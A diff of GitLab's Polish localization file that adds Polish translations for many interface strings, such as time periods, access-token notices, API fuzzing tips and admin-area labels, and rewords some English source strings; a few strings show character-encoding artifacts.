+msgstr[1] "%d role"
+msgstr[2] "%d ról"
+msgstr[3] "%d roli"
msgid "1 user"
msgid_plural "%{num} users"
@@ -1499,7 +1520,7 @@ msgid "10-19 contributions"
msgstr ""
msgid "1000+"
-msgstr ""
+msgstr "1000+"
msgid "1st contribution!"
msgstr ""
@@ -1508,22 +1529,22 @@ msgid "20-29 contributions"
msgstr ""
msgid "2FA"
-msgstr ""
+msgstr "Dwustopniowe uwierzytelnianie (2FA)"
msgid "2FADevice|Registered On"
msgstr ""
msgid "3 days"
-msgstr ""
+msgstr "3 dni"
msgid "3 hours"
-msgstr ""
+msgstr "3 godziny"
msgid "30 days"
-msgstr ""
+msgstr "30 dni"
msgid "30 minutes"
-msgstr ""
+msgstr "30 minut"
msgid "30+ contributions"
msgstr ""
@@ -1535,106 +1556,106 @@ msgid "403|You don't have the permission to access this page."
msgstr ""
msgid "404|Make sure the address is correct and the page hasn't moved."
-msgstr ""
+msgstr "404|Upewnij się, że adres jest prawidłowy i że strona nie została przeniesiona."
msgid "404|Page Not Found"
-msgstr ""
+msgstr "404|Nie znaleziono strony"
msgid "404|Please contact your GitLab administrator if you think this is a mistake."
msgstr ""
msgid "7 days"
-msgstr ""
+msgstr "7 dni"
msgid "8 hours"
-msgstr ""
+msgstr "8 godzin"
msgid ":%{startLine} to %{endLine}"
-msgstr ""
+msgstr ":%{startLine} do %{endLine}"
msgid "A %{incident_docs_start}modified issue%{incident_docs_end} to guide the resolution of incidents."
msgstr ""
msgid "A .NET Core console application template, customizable for any .NET Core project"
-msgstr ""
+msgstr "Szablon aplikacji konsoli .NET Core, który można dostosować do dowolnego projektu .NET Core"
msgid "A CI/CD pipeline must run and be successful before merge."
msgstr ""
msgid "A GitBook site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
-msgstr ""
+msgstr "Strona GitBook, która używa Netlify dla CI / CD zamiast GitLab, ale nadal ze wszystkimi innymi wspaniałymi funkcjami GitLab"
msgid "A Gitpod configured Webapplication in Spring and Java"
msgstr ""
msgid "A Hexo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
-msgstr ""
+msgstr "Strona Hexo, która używa Netlify dla CI/CD zamiast GitLab, ale nadal ze wszystkimi innymi wspaniałymi funkcjami GitLab"
msgid "A Hugo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
-msgstr ""
+msgstr "Strona Hugo, która używa Netlify dla CI/CD zamiast GitLab, ale nadal ze wszystkimi innymi wspaniałymi funkcjami GitLab"
msgid "A Jekyll site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
-msgstr ""
+msgstr "Strona Jekyll, która używa Netlify dla CI/CD zamiast GitLab, ale nadal ze wszystkimi innymi wspaniałymi funkcjami GitLab"
msgid "A Let's Encrypt SSL certificate can not be obtained until your domain is verified."
-msgstr ""
+msgstr "Nie można uzyskać certyfikatu Let's Encrypt SSL, dopóki domena nie zostanie zweryfikowana."
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
-msgstr ""
+msgstr "Konto Let's Encrypt zostanie skonfigurowanie dla tej instalacji GitLab z użyciem Twojego adresu e-mail. Będziesz otrzymywał ostrzeżenia o wygasających certyfikatach."
msgid "A banned user cannot:"
-msgstr ""
+msgstr "Zbanowany użytkownik nie może:"
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
-msgstr ""
+msgstr "Podstawowa strona i funkcja serverless wykorzystujÄ…ca AWS Lambda, AWS API Gateway i GitLab Pages"
msgid "A basic template for developing Linux programs using Kotlin Native"
-msgstr ""
+msgstr "Podstawowy szablon do tworzenia programów Linuksowych przy pomocy Kotlin Native"
msgid "A blocked user cannot:"
-msgstr ""
+msgstr "Zablokowany użytkownik nie może:"
msgid "A complete DevOps platform"
-msgstr ""
+msgstr "Kompletna platforma DevOps"
msgid "A default branch cannot be chosen for an empty project."
-msgstr ""
+msgstr "Domyślny branch nie może być wybrany dla pustego projektu."
msgid "A deleted user"
-msgstr ""
+msgstr "Usunięty użytkownik"
msgid "A description is required"
-msgstr ""
+msgstr "Wymagany jest opis"
msgid "A different reason"
-msgstr ""
+msgstr "Inny powód"
msgid "A file has been changed."
-msgstr ""
+msgstr "Plik został zmieniony."
msgid "A file was not found."
-msgstr ""
+msgstr "Plik nie został znaleziony."
msgid "A file with '%{file_name}' already exists in %{branch} branch"
-msgstr ""
+msgstr "Plik o nazwie „%{file_name}†już istnieje na branchu %{branch}"
msgid "A group is a collection of several projects"
-msgstr ""
+msgstr "Grupa jest zbiorem kilku projektów"
msgid "A group represents your organization in GitLab. Groups allow you to manage users and collaborate across multiple projects."
-msgstr ""
+msgstr "Grupa reprezentuje Twoją organizację w GitLab. Grupy pozwalają zarządzać użytkownikami i współpracować w wielu projektach."
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
-msgstr ""
+msgstr "Artefakt zadania jest archiwum plików i katalogów zapisanych przez zadanie po jego zakończeniu."
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
-msgstr ""
+msgstr "ObowiÄ…zuje limit %{ci_project_subscriptions_limit} subskrypcji do lub z projektu."
msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
-msgstr ""
+msgstr "Zarządzanie i kontrola operacyjna lub techniczna (tzn. kontrola zabezpieczająca lub przeciwdziałająca) stosowana przez organizację zapewniająca równoważną lub porównywalną ochronę systemu informatycznego."
msgid "A member of the abuse team will review your report as soon as possible."
-msgstr ""
+msgstr "Członek zespołu ds. nadużyć zweryfikuje Twoje zgłoszenie tak szybko, jak to możliwe."
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
@@ -1649,88 +1670,85 @@ msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start
msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the %{release_link_start}Releases page%{release_link_end} to read more about it."
-msgstr ""
+msgstr "Nowe Wydanie %{tag} dla %{name} zostało opublikowane. Odwiedź %{release_link_start}stronę Wydań%{release_link_end} by dowiedzieć się o nim więcej."
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
-msgstr ""
+msgstr "Nowe Wydanie %{tag} dla %{name} zostało opublikowane. Odwiedź Stronę wydań, by dowiedzieć się o nim więcej:"
msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
+msgstr "Nowy branch zostanie utworzony w Twoim fork'u i nowy merge request zostanie otworzony."
msgid "A new impersonation token has been created."
msgstr ""
msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
+msgstr "Niepoufny epik nie może być przypisany do poufnego epika nadrzędnego"
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
-msgstr ""
+msgstr "Zwykła strona HTML, która używa Netlify dla CI/CD zamiast GitLab'a, ale nadal ze wszystkimi innymi wspaniałymi funkcjami GitLab"
msgid "A plain-text response to show to clients that hit the rate limit."
-msgstr ""
+msgstr "Odpowiedź czysto-tesktowa do pokazania klientom, którzy osiągnęli limit tempa."
msgid "A platform value can be web, mob or app."
-msgstr ""
+msgstr "Wartością platformy może być internet, mob lub aplikacja."
msgid "A project boilerplate for Salesforce App development with Salesforce Developer tools"
-msgstr ""
+msgstr "Projekt standardowy dla rozwoju aplikacji Salesforce z narzędziami Salesforce Developer"
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
-msgstr ""
+msgstr "Projekt zawierający kwestie dotyczące każdego audytu w protokole kontroli HIPAA opublikowanym przez Departament Zdrowia i Usług Stanów Zjednoczonych"
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
-msgstr ""
+msgstr "Nazwa repozytorium projektu definiuje jego adres URL (ten, którego używasz do uzyskiwania dostępu do projektu za pośrednictwem przeglądarki) i jego miejsce na dysku plików, na którym zainstalowano GitLab. %{link_start} Dowiedz się więcej. %{link_end}"
msgid "A ready-to-go template for use with Android apps"
-msgstr ""
+msgstr "Gotowy do użycia szablon dla aplikacji Androida"
msgid "A ready-to-go template for use with iOS Swift apps"
-msgstr ""
+msgstr "Gotowy do użycia szablon do dla aplikacji iOS Swift"
msgid "A rebase is already in progress."
-msgstr ""
-
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
+msgstr "Rebase jest już w trakcie wykonywania"
msgid "A secure token that identifies an external storage request."
-msgstr ""
+msgstr "Bezpieczny token identyfikujący żądanie zewnętrznego magazynu."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
-msgstr ""
+msgstr "Logowanie do Twojego konta zostało dokonane z następującego adresu IP: %{ip}"
msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
+msgstr "Ciąg dołączony do ścieżki projektu w celu utworzenia adresu e-mail Service Desk."
msgid "A title is required"
-msgstr ""
+msgstr "Tytuł jest wymagany"
msgid "A user with write access to the source branch selected this option"
-msgstr ""
+msgstr "Użytkownik z prawami zapisu do brancha źródłowego wybrał tę opcję"
msgid "ACTION REQUIRED: Something went wrong while obtaining the Let's Encrypt certificate for GitLab Pages domain '%{domain}'"
-msgstr ""
+msgstr "WYMAGANA INTERWENCJA: Coś poszło nie tak podczas uzyskiwania certyfikatu Let's Crypt dla domeny GitLab Pages '%{domain}'"
msgid "API"
-msgstr ""
+msgstr "API"
msgid "API Fuzzing"
-msgstr ""
+msgstr "Fuzzing API"
msgid "API Fuzzing Configuration"
msgstr ""
msgid "API Help"
-msgstr ""
+msgstr "Pomoc API"
msgid "API Token"
msgstr ""
msgid "API key"
-msgstr ""
+msgstr "Klucz API"
msgid "API?"
-msgstr ""
+msgstr "API?"
msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
@@ -1753,18 +1771,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1820,13 +1829,13 @@ msgid "APIFuzzing|Tip: Insert this part below all include"
msgstr ""
msgid "APIFuzzing|Tip: Insert this part below all stages"
-msgstr ""
+msgstr "APIFuzzing|Wskazówka: wstaw tę część pod wszystkie etapy"
msgid "APIFuzzing|To prevent a security leak, authentication info must be added as a %{ciVariablesLinkStart}CI variable%{ciVariablesLinkEnd}. A user with maintainer access rights can manage CI variables in the %{ciSettingsLinkStart}Settings%{ciSettingsLinkEnd} area. We detected that you are not a maintainer. Commit your changes and assign them to a maintainer to update the credentials before merging."
-msgstr ""
+msgstr "APIFuzzing|Aby zapobiec wyciekowi informacji, informacje uwierzytelniające muszą być dodane jako %{ciVariablesLinkStart}zmienna CI%{ciVariablesLinkEnd}. Użytkownik z prawami dostępu opiekuna może zarządzać zmiennymi CI w obszarze %{ciSettingsLinkStart}ustawień%{ciSettingsLinkEnd} . Wykryliśmy, że nie jesteś opiekunem. Zacommituj swoje zmiany i przypisz je opiekunowi, aby zaktualizować poświadczenia przed zmergowaniem."
msgid "APIFuzzing|To prevent a security leak, authentication info must be added as a %{ciVariablesLinkStart}CI variable%{ciVariablesLinkEnd}. As a user with maintainer access rights, you can manage CI variables in the %{ciSettingsLinkStart}Settings%{ciSettingsLinkEnd} area."
-msgstr ""
+msgstr "APIFuzzing|Aby zapobiec wyciekom danych, informacje uwierzytelniające muszą być dodane jako %{ciVariablesLinkStart}zmienna CI%{ciVariablesLinkEnd}. Jako użytkownik z prawami dostępu opiekuna możesz zarządzać zmiennymi CI w obszarze %{ciSettingsLinkStart}ustawień%{ciSettingsLinkEnd}."
msgid "APIFuzzing|Use this tool to generate API fuzzing configuration YAML to copy into your .gitlab-ci.yml file. This tool does not reflect or update your .gitlab-ci.yml file automatically."
msgstr ""
@@ -1847,91 +1856,91 @@ msgid "APIFuzzing|folder/openapi.json"
msgstr ""
msgid "AWS Access Key"
-msgstr ""
+msgstr "Klucz dostępu AWS"
msgid "AWS Access Key. Only required if not using role instance credentials"
msgstr ""
msgid "AWS Secret Access Key"
-msgstr ""
+msgstr "Tajny klucz dostępu AWS"
msgid "AWS Secret Access Key. Only required if not using role instance credentials"
msgstr ""
msgid "AWS service error: %{error}"
-msgstr ""
+msgstr "Błąd usługi AWS: %{error}"
msgid "Abort"
-msgstr ""
+msgstr "Przerwij"
msgid "About GitLab"
-msgstr ""
+msgstr "O GitLabie"
msgid "About GitLab CE"
-msgstr ""
+msgstr "O GitLabie CE"
msgid "About auto deploy"
-msgstr ""
+msgstr "O automatycznym wdrażaniu"
msgid "About this feature"
-msgstr ""
+msgstr "O tej funkcjonalności"
msgid "Abuse Reports"
-msgstr ""
+msgstr "Raporty o nadużyciach"
msgid "Abuse reports"
-msgstr ""
+msgstr "Raporty o nadużyciach"
msgid "Abuse reports notification email"
-msgstr ""
+msgstr "E-mail z raportami o nadużyciach"
msgid "Abuse reports will be sent to this address if it is set. Abuse reports are always available in the admin area."
-msgstr ""
+msgstr "Raporty o nadużyciach będą wysyłane na ten adres, jeśli jest ustawiony. Raporty o nadużyciach są zawsze dostępne w obszarze administratora."
msgid "Accept invitation"
-msgstr ""
+msgstr "Zaakceptuj zaproszenie"
msgid "Accept terms"
-msgstr ""
+msgstr "Zaakceptuj warunki"
msgid "Acceptable for use in this project"
-msgstr ""
+msgstr "Akceptowalne do użycia w tym projekcie"
msgid "Access Git repositories"
-msgstr ""
+msgstr "Dostęp do repozytoriów Git"
msgid "Access Tokens"
-msgstr ""
+msgstr "Tokeny dostępu"
msgid "Access denied for your LDAP account."
-msgstr ""
+msgstr "Odmowa dostępu dla Twojego konta LDAP."
msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
+msgstr "Dostęp zabroniony! Sprawdź, czy możesz dodać klucze wdrażania do tego repozytorium."
msgid "Access denied: %{error}"
-msgstr ""
+msgstr "Odmowa dostępu: %{error}"
msgid "Access expiration date"
-msgstr ""
+msgstr "Data wygaśnięcia dostępu"
msgid "Access expires"
-msgstr ""
+msgstr "Dostęp wygasa"
msgid "Access forbidden. Check your access level."
-msgstr ""
+msgstr "Dostęp zabroniony. Sprawdź swój poziom dostępu."
msgid "Access granted"
-msgstr ""
+msgstr "Dostęp przyznany"
msgid "Access requests"
-msgstr ""
+msgstr "Poproszono o dostęp"
msgid "Access to '%{classification_label}' not allowed"
-msgstr ""
+msgstr "Dostęp do \"%{classification_label}\" jest niedozwolony"
msgid "Access to Pages websites are controlled based on the user's membership to a given project. By checking this box, users will be required to be logged in to have access to all Pages websites in your instance."
-msgstr ""
+msgstr "Dostęp do stron Pages jest kontrolowany na podstawie członkostwa użytkownika w danym projekcie. Zaznaczając to pole, użytkownicy będą musieli się zalogować, aby mieć dostęp do wszystkich stron Pages w Twojej instancji."
msgid "AccessDropdown|Deploy Keys"
msgstr ""
@@ -1969,13 +1978,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1993,16 +2002,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2018,22 +2027,22 @@ msgid "AccessibilityReport|The accessibility scanning found an error of the foll
msgstr ""
msgid "Account"
-msgstr ""
+msgstr "Konto"
msgid "Account ID"
-msgstr ""
+msgstr "ID Konta"
msgid "Account and limit"
-msgstr ""
+msgstr "Konto i limit"
msgid "Account:"
-msgstr ""
+msgstr "Konto:"
msgid "Account: %{account}"
-msgstr ""
+msgstr "Konto: %{account}"
msgid "Action"
-msgstr ""
+msgstr "Akcja"
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -2054,256 +2063,265 @@ msgid "Active Sessions"
msgstr ""
msgid "Activity"
-msgstr ""
+msgstr "Aktywność"
msgid "Activity|An error occured while retrieving activity. Reload the page to try again."
msgstr ""
msgid "Add"
-msgstr ""
+msgstr "Dodaj"
msgid "Add \"%{value}\""
-msgstr ""
+msgstr "Dodaj \"%{value}\""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
-msgstr ""
+msgstr "Dodaj %{linkStart}zasoby%{linkEnd} do wydania. GitLab automatycznie dodaje zasoby tylko do odczytu, takie jak kod źródłowy i dowody wydania."
msgid "Add CHANGELOG"
-msgstr ""
+msgstr "Dodaj CHANGELOG"
msgid "Add CONTRIBUTING"
msgstr ""
msgid "Add GitLab to Slack"
-msgstr ""
+msgstr "Dodaj GitLaba do Slacka"
msgid "Add Group Webhooks and GitLab Enterprise Edition."
-msgstr ""
+msgstr "Dodaj Webhooks Grupy oraz GitLab Enterprise Edition."
msgid "Add Jaeger URL"
-msgstr ""
+msgstr "Dodaj adres URL Jaegera"
msgid "Add Kubernetes cluster"
-msgstr ""
+msgstr "Dodaj klaster Kubernetes"
msgid "Add LICENSE"
-msgstr ""
+msgstr "Dodaj LICENCJĘ"
msgid "Add New Node"
-msgstr ""
+msgstr "Dodaj nowy węzeł"
msgid "Add README"
-msgstr ""
+msgstr "Dodaj README"
msgid "Add Zoom meeting"
-msgstr ""
+msgstr "Dodaj spotkanie Zoom"
msgid "Add a %{type}"
-msgstr ""
+msgstr "Dodaj %{type}"
msgid "Add a GPG key"
-msgstr ""
+msgstr "Dodaj klucz GPG"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
-msgstr ""
+msgstr "Dodaj przycisk Grafany do panelu bocznego administratora w sekcji monitorowania, aby uzyskać dostęp do różnych statystyk dotyczących kondycji i wydajności GitLaba."
msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
-msgstr ""
+msgstr "Dodaj adres URL Jaeger, aby zastąpić tę stronę linkiem do Twojego serwera Jaeger. Najpierw musisz %{link_start_tag}zainstalować Jaeger%{link_end_tag}."
msgid "Add a bullet list"
-msgstr ""
+msgstr "Dodaj listÄ™ wypunktowanÄ…"
msgid "Add a collapsible section"
msgstr ""
msgid "Add a comment to this line"
-msgstr ""
+msgstr "Dodaj komentarz do tej linii"
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
-msgid "Add a general comment to this %{noteableDisplayName}."
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
msgstr ""
+msgid "Add a general comment to this %{noteableDisplayName}."
+msgstr "Dodaj ogólny komentarz do tego %{noteableDisplayName}."
+
msgid "Add a general comment to this %{noteable_name}."
-msgstr ""
+msgstr "Dodaj ogólny komentarz do tego %{noteable_name}."
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
+msgstr "Dodaj do swojej wiki stronę główną z informacjami o Twoim projekcie, a GitLab wyświetli ją zamiast tej wiadomości."
+
+msgid "Add a horizontal rule"
msgstr ""
msgid "Add a line"
-msgstr ""
+msgstr "Dodaj liniÄ™"
msgid "Add a link"
-msgstr ""
+msgstr "Dodaj link"
msgid "Add a new issue"
-msgstr ""
+msgstr "Dodaj nowe zgłoszenie"
msgid "Add a numbered list"
-msgstr ""
+msgstr "Dodaj listÄ™ numerowanÄ…"
msgid "Add a related issue"
-msgstr ""
+msgstr "Dodaj powiązane zgłoszenie"
msgid "Add a table"
-msgstr ""
+msgstr "Dodaj tabelÄ™"
msgid "Add a task list"
-msgstr ""
+msgstr "Dodaj listę zadań"
msgid "Add a to do"
-msgstr ""
+msgstr "Dodaj zadanie"
msgid "Add additional text to appear in all email communications. %{character_limit} character limit"
-msgstr ""
+msgstr "Dodaj dodatkowy tekst do pokazania we wszystkich wiadomościach e-mail. Limit znaków: %{character_limit}"
msgid "Add an SSH key"
-msgstr ""
+msgstr "Dodaj klucz SSH"
msgid "Add an existing issue"
-msgstr ""
+msgstr "Dodaj istniejące zgłoszenie."
msgid "Add an impersonation token"
-msgstr ""
+msgstr "Dodawanie tokenu personifikacji"
msgid "Add another link"
-msgstr ""
+msgstr "Dodaj następny odnośnik"
msgid "Add approval rule"
-msgstr ""
+msgstr "Dodaj regułę zatwierdzania"
msgid "Add approvers"
-msgstr ""
+msgstr "Dodaj zatwierdzajÄ…cych"
msgid "Add bold text"
-msgstr ""
+msgstr "Dodaj pogrubiony tekst"
msgid "Add broadcast message"
-msgstr ""
+msgstr "Dodaj wiadomość rozgłoszeniową"
msgid "Add child epic to an epic"
msgstr ""
msgid "Add comment now"
-msgstr ""
+msgstr "Dodaj teraz komentarz"
msgid "Add comment to design"
-msgstr ""
+msgstr "Dodaj komentarz do projektu"
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr "Dodaj wiadomości commitu jako komentarze do zadań Asana. %{docs_link}"
+
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
msgid "Add deploy freeze"
-msgstr ""
+msgstr "Dodaj zamrożenie wdrożenia"
msgid "Add deploy keys to grant read/write access to this repository. %{link_start}What are deploy keys?%{link_end}"
-msgstr ""
+msgstr "Dodaj klucze wdrażania, aby udzielić dostępu do odczytu/zapisu do tego repozytorium. %{link_start} Co to są klucze wdrażania? %{link_end}"
msgid "Add domain"
-msgstr ""
+msgstr "Dodaj domenÄ™"
msgid "Add email address"
-msgstr ""
+msgstr "Dodaj adres e-mail"
msgid "Add email participant(s)"
msgstr ""
msgid "Add environment"
-msgstr ""
+msgstr "Dodaj środowisko"
msgid "Add existing confidential %{issuableType}"
msgstr ""
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
-msgstr ""
+msgstr "Dodaj nagłówek i stopkę do e-maili. Należy pamiętać, że ustawienia kolorów będą stosowane tylko w interfejsie aplikacji"
msgid "Add image comment"
-msgstr ""
+msgstr "Dodaj komentarz do zdjęcia"
msgid "Add italic text"
-msgstr ""
+msgstr "Dodaj kursywÄ™"
msgid "Add key"
-msgstr ""
+msgstr "Dodaj klucz"
msgid "Add label(s)"
-msgstr ""
+msgstr "Dodaj etykietÄ™(y)"
msgid "Add list"
-msgstr ""
+msgstr "Dodaj listÄ™"
msgid "Add new application"
-msgstr ""
+msgstr "Dodaj nowÄ… aplikacjÄ™"
msgid "Add new directory"
-msgstr ""
+msgstr "Dodaj nowy katalog"
msgid "Add or remove previously merged commits"
-msgstr ""
+msgstr "Dodaj lub usuń poprzednio zmergowane commity"
msgid "Add or subtract spent time"
-msgstr ""
+msgstr "Dodaj lub odejmij spędzony czas"
msgid "Add previously merged commits"
-msgstr ""
+msgstr "Dodaj poprzednio zmergowane commity"
msgid "Add projects"
-msgstr ""
+msgstr "Dodaj projekty"
msgid "Add reaction"
-msgstr ""
+msgstr "Dodaj reakcjÄ™"
msgid "Add request manually"
-msgstr ""
+msgstr "Dodaj ręcznie żądanie"
msgid "Add strikethrough text"
-msgstr ""
+msgstr "Dodaj tekst przekreślony"
msgid "Add suggestion to batch"
-msgstr ""
+msgstr "Dodaj sugestiÄ™ do zestawu"
msgid "Add system hook"
msgstr ""
msgid "Add to Slack"
-msgstr ""
+msgstr "Dodaj do Slacka"
msgid "Add to board"
-msgstr ""
+msgstr "Dodaj do tablicy"
msgid "Add to epic"
msgstr ""
msgid "Add to merge train"
-msgstr ""
+msgstr "Dodaj do ciągu mergów"
msgid "Add to merge train when pipeline succeeds"
msgstr ""
msgid "Add to review"
-msgstr ""
+msgstr "Dodaj do recenzji"
msgid "Add to tree"
msgstr ""
msgid "Add trigger"
-msgstr ""
+msgstr "Dodaj wyzwalacz"
msgid "Add user(s) to the group:"
msgstr ""
msgid "Add users to group"
-msgstr ""
+msgstr "Dodaj użytkowników do grupy"
msgid "Add variable"
-msgstr ""
+msgstr "Dodaj zmiennÄ…"
msgid "Add webhook"
-msgstr ""
+msgstr "Dodaj webhook"
msgid "Add/remove"
-msgstr ""
+msgstr "Dodaj/usuń"
msgid "AddContextCommits|Add previously merged commits"
msgstr ""
@@ -2320,6 +2338,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2327,16 +2348,16 @@ msgid "AddMember|Too many users specified (limit is %{user_limit})"
msgstr ""
msgid "Added"
-msgstr ""
+msgstr "Dodano"
msgid "Added %{epic_ref} as a child epic."
msgstr ""
msgid "Added %{label_references} %{label_text}."
-msgstr ""
+msgstr "Dodano %{label_references} %{label_text}."
msgid "Added a to do."
-msgstr ""
+msgstr "Dodano zadanie."
msgid "Added an issue to an epic."
msgstr ""
@@ -2345,31 +2366,31 @@ msgid "Added at"
msgstr ""
msgid "Added for this merge request"
-msgstr ""
+msgstr "Dodano do tego merge requestu"
msgid "Added in this version"
-msgstr ""
+msgstr "Dodano w tej wersji"
msgid "Adding new applications is disabled in your GitLab instance. Please contact your GitLab administrator to get the permission"
-msgstr ""
+msgstr "W Twojej instancji GitLaba wyłączono dodawanie nowych aplikacji. Aby uzyskać pozwolenie, skontaktuj się z administratorem swojego GitLaba"
msgid "Additional Metadata"
-msgstr ""
+msgstr "Dodatkowe metadane"
msgid "Additional minutes"
-msgstr ""
+msgstr "Dodatkowe minuty"
msgid "Additional minutes:"
-msgstr ""
+msgstr "Dodatkowe minuty:"
msgid "Additional text"
-msgstr ""
+msgstr "Dodatkowy tekst"
msgid "Address"
-msgstr ""
+msgstr "Adres"
msgid "Adds"
-msgstr ""
+msgstr "Dodaje"
msgid "Adds %{epic_ref} as child epic."
msgstr ""
@@ -2378,10 +2399,10 @@ msgid "Adds %{labels} %{label_text}."
msgstr ""
msgid "Adds a Zoom meeting"
-msgstr ""
+msgstr "Dodaje spotkanie Zoom"
msgid "Adds a to do."
-msgstr ""
+msgstr "Dodaje zadanie."
msgid "Adds an issue to an epic."
msgstr ""
@@ -2390,49 +2411,49 @@ msgid "Adds email participant(s)"
msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
-msgstr ""
+msgstr "Dostosuj filtry / kryteria wyszukiwania powyżej. Jeśli uważasz, że może to być błąd, zapoznaj się z %{linkStart}Geo Rozwiązywanie problemów%{linkEnd} dokumentacji, aby uzyskać więcej informacji."
msgid "Admin"
-msgstr ""
+msgstr "Administrator"
msgid "Admin Area"
-msgstr ""
+msgstr "Obszar administratora"
msgid "Admin Mode"
-msgstr ""
+msgstr "Tryb administratora"
msgid "Admin Note"
-msgstr ""
+msgstr "Notatka administratora"
msgid "Admin Notifications"
-msgstr ""
+msgstr "Powiadomienia administacyjne"
msgid "Admin Overview"
-msgstr ""
+msgstr "PrzeglÄ…d administratora"
msgid "Admin Section"
-msgstr ""
+msgstr "Sekcja administratora"
msgid "Admin mode already enabled"
-msgstr ""
+msgstr "Tryb administratora już jest włączony"
msgid "Admin mode disabled"
-msgstr ""
+msgstr "Tryb administratora wyłączony"
msgid "Admin mode enabled"
-msgstr ""
+msgstr "Tryb administratora włączony"
msgid "Admin navigation"
-msgstr ""
+msgstr "Nawigacja administratora"
msgid "Admin notes"
-msgstr ""
+msgstr "Notatki administratora"
msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
-msgstr ""
+msgstr "%{billable_users_link_start} Dowiedz się więcej%{billable_users_link_end} o tym, co definiuje użytkownika płatnego"
msgid "AdminArea|Active users"
-msgstr ""
+msgstr "Aktywni użytkownicy"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
